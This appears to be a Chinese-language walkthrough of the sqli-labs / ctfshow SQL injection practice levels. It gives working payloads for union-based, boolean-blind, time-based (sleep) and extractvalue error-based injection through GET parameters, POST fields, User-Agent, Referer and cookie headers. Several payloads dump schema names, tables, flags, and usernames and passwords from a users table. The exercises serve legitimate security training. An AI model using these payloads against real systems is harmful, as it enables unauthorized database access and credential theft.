sqli-
step1:判断攻击点:通过结果判断有没有执行
随便乱输【有查询,执行了】eg:?a=1
或是(只适用于数字型:没有其他符号):
&1=1,也能正常显示{判真用&真}
也可以:&假,【为假:整个SQL语句就不执行】
带进去了有显示:有注入点
#字符型和数字型本质区别:传入的参数——为什么传入假还是能正常显示,而不是报错
'1 & 1=2,被放到引号里了'
SQL机制:查询到1后面自动过滤了
【解决办法:闭合】' ' '(剩下结尾的引号会报语法错误)
搜索型【查询模糊】
quotes、twist等字符的
确定闭合方式
本质:sql语句是什么类型:
双引号闭合加括号型、
WP-GET
一、报错based,单引号,字符型
?id=-1'
【提示】参数,?id=1(不同数字:有查询)
1.字符型/数字型:1'(报错)1'--+(正常回显)
2.判断字段列数 'order by 3 --+(3有正常回显,4没有)
3.联合查询,database,tables,
?id=-1'union select 1,database()--+
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
二、报错based,intiger based
?id=-1
数字型注入(去掉引号就好)
?id=1 --+
?id=1 order by 3--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+
三、报错based,单引号加括号,字符型
?id=-1')
四、报错based,双引号,字符型
?id=-1")
输入?id=1根据页面报错信息得知sql语句是双引号字符型且有括号
【】五、字符型,双注,单引号
【联合注入没用:页面没有回显位】
页面结果只有对错不一样
【数据只有对错页面显示:可以选择布尔盲注——以报错的形式显示内容】
【布尔盲注主要用到ength()\ascii()\substr()函数】
六、双注,双引号,字符型
七、Dump into outfile
?id=1'))--+
{盲注:
判断参数构造
判断数据库名长度lenth()<>=
逐一判断数据库字符substr("",1,1)
判断所有表名长度
逐一判断表名
判断所有字段名的长度
逐一判断字段名。
判断字段内容长度
逐一检测内容。
}
八、盲注,Boolian based,单引号
九、盲注,Time based,单引号
【无论输什么都一样:布尔盲注不管用】
【回显相同,通过回显时间判断哪个条件为真】
【多了if(条件1,sleep(10),1】
条件1是真:执行延迟10s,再执行1
条件1是假:直接执行1,不延迟
十、盲注,Time based,双引号
WP-POST
11:双参数
1
1':有报错
1' or 1=1#
1' union select 1,2#
回显位是2
uname=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit
(table_name)
information_schema.tables
where table_schema='ctfshow'--+【schema_name】
(column_name)
information_schema.columns
where table_name='flagugsd'--+
uname=1' and 1=2 union select 1,group_concat(flag43s) from ctfshow.flagugsd--+&passwd=123456&submit=Submit
12:
1;1'
1":有报错
1") or 1=1#
1") union select 1,2#
13:单引号
用\报错
14:双引号
15:(没有报错信息)布尔盲注
测闭合,测回显位(盲注不用)
16:布尔盲注
1") or = --+登陆成功
17:【密码RESET界面】报错注入【代码有报错】
查看源码:
$value(账户名)获取、处理(删除\,转义特殊字符,数字变整数)
从$update注入
uname=DUMB&passwd=123456&submit=Submit' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+
18:U-A(返回ip)
返回了User Agent【U-A注入】
【POST:
uname=DUMB&passwd=DUMB&submit=Submit】
【schema_name】
' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and '1'='1
【table_name】
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e)) and '1'='1
【column_name】
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e)) and '1'='1
【获取字段值】
' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1
【逆读】
' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1
19:referer注入
(和U-A一样)
20:cookie注入
登录得到回显(包括了自己的cookie)
【检查了POST,存在COOKIE方式提交的uname变量】
猜测在header里的cookie进行注入
1'测注入点,测闭合方式
爆库
uname=' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1
21:base64
多了个Base64编码
该版本sqli-labs结束.